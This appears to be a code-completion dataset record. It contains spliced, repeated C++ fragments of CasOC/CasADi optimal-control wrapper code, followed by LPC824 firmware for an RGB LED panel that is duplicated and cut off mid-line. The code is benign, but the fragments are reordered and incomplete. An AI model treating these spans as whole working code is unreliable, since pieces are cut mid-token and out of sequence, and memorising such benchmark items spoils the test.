4) { return casadi::Sparsity::dense(m_casProblem->getNumDerivatives(), 1); } else if (i == 5) { return casadi::Sparsity::dense(m_casProblem->getNumParameters(), 1); } else { return casadi::Sparsity(0, 0); } } VectorDM PathConstraint::eval(const VectorDM& args) const { Problem::ContinuousInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5)}; VectorDM out{casadi::DM(sparsity_out(0))}; m_casProblem->calcPathConstraint(m_index, input, out[0]); return out; } VectorDM CostIntegrand::eval(const VectorDM& args) const { Problem::ContinuousInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5)}; VectorDM out{casadi::DM(casadi::Sparsity::scalar())}; m_casProblem->calcCostIntegrand(m_index, input, *out[0].ptr()); return out; } VectorDM EndpointConstraintIntegrand::eval(const VectorDM& args) const { Problem::ContinuousInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5)}; VectorDM out{casadi::DM(casadi::Sparsity::scalar())}; m_casProblem->calcEndpointConstraintIntegrand( m_index, input, *out[0].ptr()); return out; } casadi::Sparsity Endpoint::get_sparsity_in(casadi_int i) { if (i == 0) { return casadi::Sparsity::dense(1, 1); } else if (i == 1) { return casadi::Sparsity::dense(m_casProblem->getNumStates(), 1); } else if (i == 2) { return casadi::Sparsity::dense(m_casProblem->getNumControls(), 1); } else if (i == 3) { return casadi::Sparsity::dense(m_casProblem->getNumMultipliers(), 1); } else if (i == 4) { return casadi::Sparsity::dense(m_casProblem->getNumDerivatives(), 1); } else if (i == 5) { return casadi::Sparsity::dense(1, 1); } else if (i == 6) { return casadi::Sparsity::dense(m_casProblem->getNumStates(), 1); } else if (i == 7) { return casadi::Sparsity::dense(m_casProblem->getNumControls(), 1); } else if (i == 8) { return casadi::Sparsity::dense(m_casProblem->getNumMultipliers(), 1); } else if (i == 9) { return casadi::Sparsity::dense(m_casProblem->getNumDerivatives(), 1); } else if (i == 10) { return casadi::Sparsity::dense(m_casProblem->getNumParameters(), 1); } else if (i == 11) { return casadi::Sparsity::dense(1, 1); } else { return casadi::Sparsity(0, 0); } } VectorDM Cost::eval(const VectorDM& args) const { Problem::CostInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5).scalar(), args.at(6), args.at(7), args.at(8), args.at(9), args.at(10), args.at(11).scalar()}; VectorDM out{casadi::DM(sparsity_out(0))}; m_casProblem->calcCost(m_index, input, out.at(0)); return out; } VectorDM EndpointConstraint::eval(const VectorDM& args) const { Problem::CostInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5).scalar(), args.at(6), args.at(7), args.at(8), args.at(9), args.at(10), args.at(11).scalar()}; VectorDM out{casadi::DM(sparsity_out(0))}; m_casProblem->calcEndpointConstraint(m_index, input, out.at(0)); return out; } template <bool CalcKCErrors> casadi::Sparsity MultibodySystemExplicit<CalcKCErrors>::get_sparsity_out( casadi_int i) { if (i == 0) { return casadi::Sparsity::dense( m_casProblem->getNumMultibodyDynamicsEquations(), 1); } else if (i == 1) { return casadi::Sparsity::dense( m_casProblem->getNumAuxiliaryStates(), 1); } else if (i == 2) { return casadi::Sparsity::dense( m_casProblem->getNumAuxiliaryResidualEquations(), 1); } else if (i == 3) { if (CalcKCErrors) { int numRows = m_casProblem->getNumKinematicConstraintEquations(); return casadi::Sparsity::dense(numRows, 1); } else { return casadi::Sparsity(0, 0); } } else { return casadi::Sparsity(0, 0); } } template <bool CalcKCErrors> VectorDM MultibodySystemExplicit<CalcKCErrors>::eval( const VectorDM& args) const { Problem::ContinuousInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5)}; VectorDM out((int)n_out()); for (casadi_int i = 0; i < n_out(); ++i) { out[i] = casadi::DM(sparsity_out(i)); } Problem::MultibodySystemExplicitOutput output{out[0], out[1], out[2], out[3]}; m_casProblem->calcMultibodySystemExplicit(input, CalcKCErrors, output); return out; } template class CasOC::MultibodySystemExplicit<false>; template class CasOC::MultibodySystemExplicit<true>; casadi::Sparsity VelocityCorrection::get_sparsity_in(casadi_int i) { if (i == 0) { return casadi::Sparsity::dense(1, 1); } else if (i == 1) { return casadi::Sparsity::dense( m_casProblem->getNumStates() - m_casProblem->getNumAuxiliaryStates(), 1); } else if (i == 2) { return casadi::Sparsity::dense(m_casProblem->getNumSlacks(), 1); } else if (i == 3) { return casadi::Sparsity::dense(m_casProblem->getNumParameters(), 1); } else { return casadi::Sparsity(0, 0); } } casadi::Sparsity VelocityCorrection::get_sparsity_out(casadi_int i) { if (i == 0) { return casadi::Sparsity::dense(m_casProblem->getNumSpeeds(), 1); } else { return casadi::Sparsity(0, 0); } } casadi::DM VelocityCorrection::getSubsetPoint( const VariablesDM& fullPoint) const { int itime = 0; using casadi::Slice; const int NMBS = m_casProblem->getNumStates() - m_casProblem->getNumAuxiliaryStates(); return casadi::DM::vertcat({fullPoint.at(initial_time), fullPoint.at(states)(Slice(0, NMBS), itime), fullPoint.at(slacks)(Slice(), itime), fullPoint.at(parameters)}); } VectorDM VelocityCorrection::eval(const VectorDM& args) const { VectorDM out{casadi::DM(sparsity_out(0))}; m_casProblem->calcVelocityCorrection( args.at(0).scalar(), args.at(1), args.at(2), args.at(3), out[0]); return out; } template <bool CalcKCErrors> casadi::Sparsity MultibodySystemImplicit<CalcKCErrors>::get_sparsity_out( casadi_int i) { if (i == 0) { return casadi::Sparsity::dense( m_casProblem->getNumMultibodyDynamicsEquations(), 1); } else if (i == 1) { return casadi::Sparsity::dense( m_casProblem->getNumAuxiliaryStates(), 1); } else if (i == 2) { return casadi::Sparsity::dense( m_casProblem->getNumAuxiliaryResidualEquations(), 1); } else if (i == 3) { if (CalcKCErrors) { int numRows = m_casProblem->getNumKinematicConstraintEquations(); return casadi::Sparsity::dense(numRows, 1); } else { return casadi::Sparsity(0, 0); } } else { return casadi::Sparsity(0, 0); } } template <bool CalcKCErrors> VectorDM MultibodySystemImplicit<CalcKCErrors>::eval( const VectorDM& args) const { Problem::ContinuousInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5)}; VectorDM out((int)n_out()); for (casadi_int i = 0; i < n_out(); ++i) { out[i] = casadi::DM(sparsity_out(i)); } Problem::MultibodySystemImplicitOutput output{out[0], out[1], out[2], out[3]}; m_casProblem->calcMultibodySystemImplicit(input, CalcKCErrors, output); return out; } template class CasOC::MultibodySystemImplicit<false>; template class CasOC::MultibodySystemImplicit<true>;
#include "CasOCFunction.h" #include "CasOCProblem.h" using namespace CasOC; casadi::Sparsity calcJacobianSparsityWithPerturbation(const VectorDM& x0s, int numOutputs, std::function<void(const casadi::DM&, casadi::DM&)> function) { OPENSIM_THROW_IF(x0s.size() < 1, OpenSim::Exception, "x0s must have at least 1 element."); using casadi::DM; using casadi::Sparsity; using std::isnan; auto sparsityForSingleX0 = [&](const casadi::DM& x0) { OPENSIM_THROW_IF(x0.columns() != 1, OpenSim::Exception, "x0 must have exactly 1 column."); Sparsity sparsity(numOutputs, x0.numel()); double eps = 1e-5; DM x = x0; DM output0(numOutputs, 1); function(x, output0); DM output(numOutputs, 1); DM diff(numOutputs, 1); for (int j = 0; j < x0.numel(); ++j) { output = 0; x(j) += eps; function(x, output); x(j) = x0(j); diff = output - output0; for (int i = 0; i < (int)numOutputs; ++i) { if (std::isnan(diff(i).scalar())) { std::cout << "[CasOC] Warning: NaN encountered when " "detecting sparsity of Jacobian; entry ("; std::cout << i << ", " << j; std::cout << ")." << std::endl; sparsity.add_nz(i, j); } if (diff(i).scalar() != 0) sparsity.add_nz(i, j); } diff = 0; } return sparsity; }; Sparsity combinedSparsity(numOutputs, x0s[0].numel()); for (const auto& x0 : x0s) { OPENSIM_THROW_IF(x0.numel() != x0s[0].numel(), OpenSim::Exception, "x0s contains vectors of different sizes."); combinedSparsity = combinedSparsity + sparsityForSingleX0(x0); } return combinedSparsity; } casadi::Sparsity Function::get_jacobian_sparsity() const { using casadi::DM; using casadi::Slice; auto function = [this](const casadi::DM& x, casadi::DM& y) { std::vector<casadi::DM> in(this->n_in()); { int offset = 0; for (int iin = 0; iin < this->n_in(); ++iin) { OPENSIM_THROW_IF(this->size2_in(iin) != 1, OpenSim::Exception, "Internal error."); const auto size = this->size1_in(iin); in[iin] = x(Slice(offset, offset + size)); offset += size; } } std::vector<casadi::DM> out = this->eval(in); y = casadi::DM::veccat(out); }; const VectorDM x0s = getSubsetPointsForSparsityDetection(); return calcJacobianSparsityWithPerturbation( x0s, (int)this->nnz_out(), function); } void Function::constructFunction(const Problem* casProblem, const std::string& name, const std::string& finiteDiffScheme, std::shared_ptr<const std::vector<VariablesDM>> pointsForSparsityDetection) { m_casProblem = casProblem; m_finite_difference_scheme = finiteDiffScheme; m_fullPointsForSparsityDetection = pointsForSparsityDetection; casadi::Dict opts; setCommonOptions(opts); this->construct(name, opts); } casadi::Sparsity Function::get_sparsity_in(casadi_int i) { if (i == 0) { return casadi::Sparsity::dense(1, 1); } else if (i == 1) { return casadi::Sparsity::dense(m_casProblem->getNumStates(), 1); } else if (i == 2) { return casadi::Sparsity::dense(m_casProblem->getNumControls(), 1); } else if (i == 3) { return casadi::Sparsity::dense(m_casProblem->getNumMultipliers(), 1); } else if (i == 4) { return casadi::Sparsity::dense(m_casProblem->getNumDerivatives(), 1); } else if (i == 5) { return casadi::Sparsity::dense(m_casProblem->getNumParameters(), 1); } else { return casadi::Sparsity(0, 0); } } VectorDM PathConstraint::eval(const VectorDM& args) const { Problem::ContinuousInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5)}; VectorDM out{casadi::DM(sparsity_out(0))}; m_casProblem->calcPathConstraint(m_index, input, out[0]); return out; } VectorDM CostIntegrand::eval(const VectorDM& args) const { Problem::ContinuousInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5)}; VectorDM out{casadi::DM(casadi::Sparsity::scalar())}; m_casProblem->calcCostIntegrand(m_index, input, *out[0].ptr()); return out; } VectorDM EndpointConstraintIntegrand::eval(const VectorDM& args) const { Problem::ContinuousInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5)}; VectorDM out{casadi::DM(casadi::Sparsity::scalar())}; m_casProblem->calcEndpointConstraintIntegrand( m_index, input, *out[0].ptr()); return out; } casadi::Sparsity Endpoint::get_sparsity_in(casadi_int i) { if (i == 0) { return casadi::Sparsity::dense(1, 1); } else if (i == 1) { return casadi::Sparsity::dense(m_casProblem->getNumStates(), 1); } else if (i == 2) { return casadi::Sparsity::dense(m_casProblem->getNumControls(), 1); } else if (i == 3) { return casadi::Sparsity::dense(m_casProblem->getNumMultipliers(), 1); } else if (i == 4) { return casadi::Sparsity::dense(m_casProblem->getNumDerivatives(), 1); } else if (i == 5) { return casadi::Sparsity::dense(1, 1); } else if (i == 6) { return casadi::Sparsity::dense(m_casProblem->getNumStates(), 1); } else if (i == 7) { return casadi::Sparsity::dense(m_casProblem->getNumControls(), 1); } else if (i == 8) { return casadi::Sparsity::dense(m_casProblem->getNumMultipliers(), 1); } else if (i == 9) { return casadi::Sparsity::dense(m_casProblem->getNumDerivatives(), 1); } else if (i == 10) { return casadi::Sparsity::dense(m_casProblem->getNumParameters(), 1); } else if (i == 11) { return casadi::Sparsity::dense(1, 1); } else { return casadi::Sparsity(0, 0); } } VectorDM Cost::eval(const VectorDM& args) const { Problem::CostInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5).scalar(), args.at(6), args.at(7), args.at(8), args.at(9), args.at(10), args.at(11).scalar()}; VectorDM out{casadi::DM(sparsity_out(0))}; m_casProblem->calcCost(m_index, input, out.at(0)); return out; } VectorDM EndpointConstraint::eval(const VectorDM& args) const { Problem::CostInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5).scalar(), args.at(6), args.at(7), args.at(8), args.at(9), args.at(10), args.at(11).scalar()}; VectorDM out{casadi::DM(sparsity_out(0))}; m_casProblem->calcEndpointConstraint(m_index, input, out.at(0)); return out; } template <bool CalcKCErrors> casadi::Sparsity MultibodySystemExplicit<CalcKCErrors>::get_sparsity_out( casadi_int i) { if (i == 0) { return casadi::Sparsity::dense( m_casProblem->getNumMultibodyDynamicsEquations(), 1); } else if (i == 1) { return casadi::Sparsity::dense( m_casProblem->getNumAuxiliaryStates(), 1); } else if (i == 2) { return casadi::Sparsity::dense( m_casProblem->getNumAuxiliaryResidualEquations(), 1); } else if (i == 3) { if (CalcKCErrors) { int numRows = m_casProblem->getNumKinematicConstraintEquations(); return casadi::Sparsity::dense(numRows, 1); } else { return casadi::Sparsity(0, 0); } } else { return casadi::Sparsity(0, 0); } } template <bool CalcKCErrors> VectorDM MultibodySystemExplicit<CalcKCErrors>::eval( const VectorDM& args) const { Problem::ContinuousInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5)}; VectorDM out((int)n_out()); for (casadi_int i = 0; i < n_out(); ++i) { out[i] = casadi::DM(sparsity_out(i)); } Problem::MultibodySystemExplicitOutput output{out[0], out[1], out[2], out[3]}; m_casProblem->calcMultibodySystemExplicit(input, CalcKCErrors, output); return out; } template class CasOC::MultibodySystemExplicit<false>; template class CasOC::MultibodySystemExplicit<true>; casadi::Sparsity VelocityCorrecti
->getNumParameters(), 1); } else { return casadi::Sparsity(0, 0); } } casadi::Sparsity VelocityCorrection::get_sparsity_out(casadi_int i) { if (i == 0) { return casadi::Sparsity::dense(m_casProblem->getNumSpeeds(), 1); } else { return casadi::Sparsity(0, 0); } } casadi::DM VelocityCorrection::getSubsetPoint( const VariablesDM& fullPoint) const { int itime = 0; using casadi::Slice; const int NMBS = m_casProblem->getNumStates() - m_casProblem->getNumAuxiliaryStates(); return casadi::DM::vertcat({fullPoint.at(initial_time), fullPoint.at(states)(Slice(0, NMBS), itime), fullPoint.at(slacks)(Slice(), itime), fullPoint.at(parameters)}); } VectorDM VelocityCorrection::eval(const VectorDM& args) const { VectorDM out{casadi::DM(sparsity_out(0))}; m_casProblem->calcVelocityCorrection( args.at(0).scalar(), args.at(1), args.at(2), args.at(3), out[0]); return out; } template <bool CalcKCErrors> casadi::Sparsity MultibodySystemImplicit<CalcKCErrors>::get_sparsity_out( casadi_int i) { if (i == 0) { return casadi::Sparsity::dense( m_casProblem->getNumMultibodyDynamicsEquations(), 1); } else if (i == 1) { return casadi::Sparsity::dense( m_casProblem->getNumAuxiliaryStates(), 1); } else if (i == 2) { return casadi::Sparsity::dense( m_casProblem->getNumAuxiliaryResidualEquations(), 1); } else if (i == 3) { if (CalcKCErrors) { int numRows = m_casProblem->getNumKinematicConstraintEquations(); return casadi::Sparsity::dense(numRows, 1); } else { return casadi::Sparsity(0, 0); } } else { return casadi::Sparsity(0, 0); } } template <bool CalcKCErrors> VectorDM MultibodySystemImplicit<CalcKCErrors>::eval( const VectorDM& args) const { Problem::ContinuousInput input{args.at(0).scalar(), args.at(1), args.at(2), args.at(3), args.at(4), args.at(5)}; VectorDM out((int)n_out()); for (casadi_int i = 0; i < n_out(); ++i) { out[i] = casadi::DM(sparsity_out(i)); } Problem::MultibodySystemImplicitOutput output{out[0], out[1], out[2], out[3]}; m_casProblem->calcMultibodySystemImplicit(input, CalcKCErrors, output); return out; } template class CasOC::MultibodySystemImplicit<false>; template class CasOC::MultibodySystemImplicit<true>;
on::get_sparsity_in(casadi_int i) { if (i == 0) { return casadi::Sparsity::dense(1, 1); } else if (i == 1) { return casadi::Sparsity::dense( m_casProblem->getNumStates() - m_casProblem->getNumAuxiliaryStates(), 1); } else if (i == 2) { return casadi::Sparsity::dense(m_casProblem->getNumSlacks(), 1); } else if (i == 3) { return casadi::Sparsity::dense(m_casProblem
function_block-random_span
[ { "content": "class SparsityDetectionProblem : public Problem<T> {\n\npublic:\n\n SparsityDetectionProblem() : Problem<T>(2, 2) {\n\n this->set_variable_bounds(Vector2d(0, 0), Vector2d(1, 1));\n\n this->set_constraint_bounds(Vector2d(0, 0), Vector2d(0, 0));\n\n }\n\n void calc_objective(c...
C++
lpc824/main.cpp
tinic/rgb-led-panel-sign-v2
65124356ad992d25c185ba9453be1f4c1aad60c1
#include "LPC82x.h" #define LED0 2 #define LED1 3 #define STB 14 // latch #define CLK 15 // clock #define OE 16 // led on/off #define COL_R0 17 #define COL_G0 18 #define COL_B0 19 #define COL_R1 20 #define COL_G1 21 #define COL_B1 22 #define ADDR_A 24 #define ADDR_B 25 #define ADDR_C 26 #define ADDR_D 27 #define member_size(type, member) sizeof(((type *)0)->member) #define PAGE_COUNT 6 struct data_page { uint8_t data[1152]; uint8_t page; uint8_t pwm_length; uint8_t gamma; uint8_t pad[9]; uint32_t serial; }; static data_page data_pages[PAGE_COUNT] = { 0 }; static void output_line(const uint16_t *line, uint32_t pl, uint32_t pg) { LPC_GPIO_PORT->MASK0 = ~((1<<CLK)| (1<<OE)| (1<<COL_R0)| (1<<COL_G0)| (1<<COL_B0)| (1<<COL_R1)| (1<<COL_G1)| (1<<COL_B1)); uint32_t pc = 0b10000000100000001000000010000000; uint32_t pa = 0b00000001000000010000000100000001; uint32_t ma = 0b01000000010000000100000001000000; volatile uint32_t *clr0 = &LPC_GPIO_PORT->CLR0; volatile uint32_t *mpin0 = &LPC_GPIO_PORT->MPIN0; volatile uint32_t *set0 = &LPC_GPIO_PORT->SET0; for (uint32_t c = 0; c < pl; c++) { *clr0 = (1<<STB); const uint16_t *src = line; uint32_t x = 2; *set0 = ((( pg - x ) >> 31 ) << OE); #if 1 uint32_t a; uint32_t b; uint32_t s; #define DO_2PIXELS \ a = (pc - ((src[1] << 16) | src[0])) & ma; \ b = (pc - src[2] ) & ma; \ s = \ ((( pg - x++ ) >> 31 ) << OE)| \ (( a << 11 )| \ ( a << 4 )| \ ( a >> 3 )| \ ( a >> 10 )| \ ( b << 15 )| \ ( b << 8 )); \ *mpin0 = s; \ s |= (1<<CLK); \ *mpin0 = s; \ src += 3; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; #else do { uint32_t a = (pc - ((src[1] << 16) | src[0])) & ma; uint32_t b = (pc - src[2] ) & ma; uint32_t set = ((( pg - x++ ) >> 31 ) << OE)| #if 1 (( a << 11 )| ( a << 4 )| ( a >> 3 )| ( a >> 10 )| ( b << 15 )| ( b << 8 )); #else ( ( ( a >> 6 ) & 1 ) << COL_R0 )| // 17 ( ( ( a >> 14 ) & 1 ) << COL_G0 )| ( ( ( a >> 22 ) & 1 ) << COL_B0 )| ( ( ( a >> 30 ) & 1 ) << COL_R1 )| ( ( ( b >> 6 ) & 1 ) << COL_G1 )| ( ( ( b >> 14 ) & 1 ) << COL_B1 ); #endif *mpin0 = set; set |= (1<<CLK); *mpin0 = set; src += 3; } while ( x <= 33 ); #endif *set0 = (1<<STB); *clr0 = (1<<OE); *set0 = ((( pg - 1 ) >> 31 ) << OE); pc += pa; } } static void output_frame() { volatile uint32_t pl = 32; volatile uint32_t pg = 2; static uint32_t led_blink_count = 0; if ((led_blink_count++ & 0x040)) { LPC_GPIO_PORT->SET0 = (1<<LED1); } else { LPC_GPIO_PORT->CLR0 = (1<<LED1); } uint32_t page_location[3] = { 0 }; uint32_t high_serial = 0; for (uint32_t s = 0; s < PAGE_COUNT; s++) { uint32_t ds = data_pages[s].serial; if (ds > high_serial) { high_serial = ds; page_location[0] = 0xFFFFFFFF; page_location[1] = 0xFFFFFFFF; page_location[2] = 0xFFFFFFFF; for (uint32_t t = 0; t < PAGE_COUNT; t++) { if (data_pages[t].serial == ds) { if (data_pages[t].page < 3) { page_location[data_pages[t].page] = t; } } } for (uint32_t t = 0; t < 3; t++) { if (page_location[t] == 0xFFFFFFFFUL) { high_serial = 0; } } } } if (high_serial == 0) { return; } uint32_t y = 0; static uint8_t screen_split[] = { 6, 6, 4 }; for (uint32_t s = 0; s < 3; s++) { uint32_t ps = page_location[s]; uint32_t pl = data_pages[ps].pwm_length; uint32_t pg = data_pages[ps].gamma; const uint16_t *lines = (uint16_t *)data_pages[ps].data; uint32_t sp = screen_split[s]; for (uint32_t p = 0; p < sp; p++) { static uint8_t interlace_pattern[16] = { 15, 13, 11, 9, 7, 5, 3, 1, 14, 12, 10, 8, 6, 4, 2, 0 }; LPC_GPIO_PORT->SET0 = (1<<OE); LPC_GPIO_PORT->MASK0 = ~((1<<ADDR_A)| (1<<ADDR_B)| (1<<ADDR_C)| (1<<ADDR_D)); LPC_GPIO_PORT->MPIN0 = interlace_pattern[y] << ADDR_A; output_line(lines, pl, pg); lines += 32*3; y++; } } } static uint32_t get_offset(uint32_t x, uint32_t y) { static uint8_t interlace_pattern[16] = { 15, 7, 14, 6, 13, 5, 12, 4, 11, 3, 10, 2, 9, 1, 8, 0 }; uint32_t rx = x; uint32_t ry = y & 0x0F; uint32_t ty = y & 0x10; return ((interlace_pattern[ry]) * 32 * 6) + (ty ? 3 : 0) + ( (rx & 0x1F) * 6 ); } static void gradient_test() { static uint32_t p = 0; static uint32_t s = 0; static uint32_t d = 0; uint32_t page_size =member_size(data_page,data); data_pages[d+0].serial = s; data_pages[d+0].page = 0; data_pages[d+0].pwm_length = 32; data_pages[d+0].gamma = 2; data_pages[d+1].serial = s; data_pages[d+1].page = 1; data_pages[d+1].pwm_length = 32; data_pages[d+1].gamma = 2; data_pages[d+2].serial = s; data_pages[d+2].page = 2; data_pages[d+2].pwm_length = 32; data_pages[d+2].gamma = 2; for (uint32_t y = 0; y < 32; y++) { for (uint32_t x = 0; x < 32; x++) { uint32_t offset = get_offset(x+p,y+p); uint32_t page = offset / page_size; uint8_t *data = data_pages[d+page].data; offset -= page * page_size; data[offset+2] = (x * 32) / 32; data[offset+1] = (y * 32) / 32; data[offset+0] = ((63 - x - y)/2 * 32) / 32; } } d += 3; d = d % PAGE_COUNT; p++; s++; } extern "C" void PININT0_IRQHandler(void); void PININT0_IRQHandler(void) { LPC_PIN_INT->IST = (1UL << 0); static uint32_t page = 0; uint16_t *data = reinterpret_cast<uint16_t *>(&data_pages[page]); for (uint32_t c = 0; c < sizeof(data_page)/2; c++) { while ( (LPC_SPI0->STAT & (1<<1)) == 0 ); LPC_SPI0->TXDATCTL = (15UL<<24) | 0xFFFF; while ( (LPC_SPI0->STAT & (1<<0)) == 0 ); uint32_t d = LPC_SPI0->RXDAT & 0xFFFF; data[c] = d; } data_pages[page].pwm_length = 32; data_pages[page].gamma = 2; page++; page %= 6; } struct dma_ctrl { uint32_t cfg; uint32_t src_end; uint32_t dst_end; uint32_t link; }; static dma_ctrl *dma = reinterpret_cast<dma_ctrl *>(0x10001E00); int main(void) { NVIC_DisableIRQ( DMA_IRQn ); LPC_SWM->PINASSIGN[3] = 0x06ffffffUL; LPC_SWM->PINASSIGN[4] = 0xff08ff07UL; LPC_SWM->PINENABLE0 = 0xfffffeffUL; LPC_GPIO_PORT->DIR0 |= (1 << LED0); LPC_GPIO_PORT->DIR0 |= (1 << LED1); LPC_GPIO_PORT->DIR0 |= (1 << OE); LPC_GPIO_PORT->DIR0 |= (1 << CLK); LPC_GPIO_PORT->DIR0 |= (1 << STB); LPC_GPIO_PORT->DIR0 |= (1 << COL_R0); LPC_GPIO_PORT->DIR0 |= (1 << COL_G0); LPC_GPIO_PORT->DIR0 |= (1 << COL_B0); LPC_GPIO_PORT->DIR0 |= (1 << COL_R1); LPC_GPIO_PORT->DIR0 |= (1 << COL_G1); LPC_GPIO_PORT->DIR0 |= (1 << COL_B1); LPC_GPIO_PORT->DIR0 |= (1 << ADDR_A); LPC_GPIO_PORT->DIR0 |= (1 << ADDR_B); LPC_GPIO_PORT->DIR0 |= (1 << ADDR_C); LPC_GPIO_PORT->DIR0 |= (1 << ADDR_D); LPC_SYSCON->SYSAHBCLKCTRL |= (1<<6); LPC_GPIO_PORT->DIR0 &= ~(1 << 9); LPC_IOCON->PIO0_9 = (1UL << 3); LPC_SYSCON->PINTSEL0 = 9; LPC_PIN_INT->ISEL &= ~(1UL << 0); LPC_PIN_INT->SIENR = (1UL << 0); LPC_PIN_INT->CIENF = (1UL << 0); NVIC_EnableIRQ(PIN_INT0_IRQn); LPC_SYSCON->SYSAHBCLKCTRL |= (1<<11); LPC_SYSCON->PRESETCTRL &= ~(0x1<<0); LPC_SYSCON->PRESETCTRL |= (0x1<<0); LPC_SPI0->DIV = 1; LPC_SPI0->DLY = 0; LPC_SPI0->CFG = (1UL << 0); LPC_SYSCON->SYSAHBCLKCTRL |= (1 << 29); LPC_DMA->SRAMBASE = reinterpret_cast<uint32_t>(dma); LPC_DMA->CTRL = (1UL << 0); LPC_DMA->CFG6 = (1UL << 0) | (1UL << 1) | (0UL << 4) | (0UL << 5) | (0UL << 6) ; uint32_t channel_cfg0 = (1UL << 0) | (1UL << 1) | (0UL << 2) | (0UL << 3) | (0UL << 4) | (0UL << 5) | (1UL << 8) | (0UL << 12) | (1UL << 14) | (((sizeof(data_page)/2)-1) << 16); for (uint32_t c = 0; c < 6; c++) { dma[c+6].cfg = channel_cfg0; dma[c+6].src_end = reinterpret_cast<uint32_t>(&LPC_SPI0->RXDAT); dma[c+6].dst_end = reinterpret_cast<uint32_t>(&data_pages[c+1]); dma[c+6].link = reinterpret_cast<uint32_t>(&dma[c+6+1]); } LPC_DMA->XFERCFG0 = channel_cfg0; LPC_DMA->INTENSET0 = (1UL << 6); LPC_DMA->ENABLESET0 = (1UL << 6); gradient_test(); gradient_test(); while(1) { output_frame(); } return 0; }
#include "LPC82x.h" #define LED0 2 #define LED1 3 #define STB 14 // latch #define CLK 15 // clock #define OE 16 // led on/off #define COL_R0 17 #define COL_G0 18 #define COL_B0 19 #define COL_R1 20 #define COL_G1 21 #define COL_B1 22 #define ADDR_A 24 #define ADDR_B 25 #define ADDR_C 26 #define ADDR_D 27 #define member_size(type, member) sizeof(((type *)0)->member) #define PAGE_COUNT 6 struct data_page { uint8_t data[1152]; uint8_t page; uint8_t pwm_length; uint8_t gamma; uint8_t pad[9]; uint32_t serial; }; static data_page data_pages[PAGE_COUNT] = { 0 }; static void output_line(const uint16_t *line, uint32_t pl, uint32_t pg) { LPC_GPIO_PORT->MASK0 = ~((1<<CLK)| (1<<OE)| (1<<COL_R0)| (1<<COL_G0)| (1<<COL_B0)| (1<<COL_R1)| (1<<COL_G1)| (1<<COL_B1)); uint32_t pc = 0b10000000100000001000000010000000; uint32_t pa = 0b00000001000000010000000100000001; uint32_t ma = 0b01000000010000000100000001000000; volatile uint32_t *clr0 = &LPC_GPIO_PORT->CLR0; volatile uint32_t *mpin0 = &LPC_GPIO_PORT->MPIN0; volatile uint32_t *set0 = &LPC_GPIO_PORT->SET0; for (uint32_t c = 0; c < pl; c++) { *clr0 = (1<<STB); const uint16_t *src = line; uint32_t x = 2; *set0 = ((( pg - x ) >> 31 ) << OE); #if 1 uint32_t a; uint32_t b; uint32_t s; #define DO_2PIXELS \ a = (pc - ((src[1] << 16) | src[0])) & ma; \ b = (pc - src[2] ) & ma; \ s = \ ((( pg - x++ ) >> 31 ) << OE)| \ (( a << 11 )| \ ( a << 4 )| \ ( a >> 3 )| \ ( a >> 10 )| \ ( b << 15 )| \ ( b << 8 )); \ *mpin0 = s; \ s |= (1<<CLK); \ *mpin0 = s; \ src += 3; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; DO_2PIXELS; #else do { uint32_t a = (pc - ((src[1] << 16) | src[0])) & ma; uint32_t b = (pc - src[2] ) & ma; uint32_t set = ((( pg - x++ ) >> 31 ) << OE)| #if
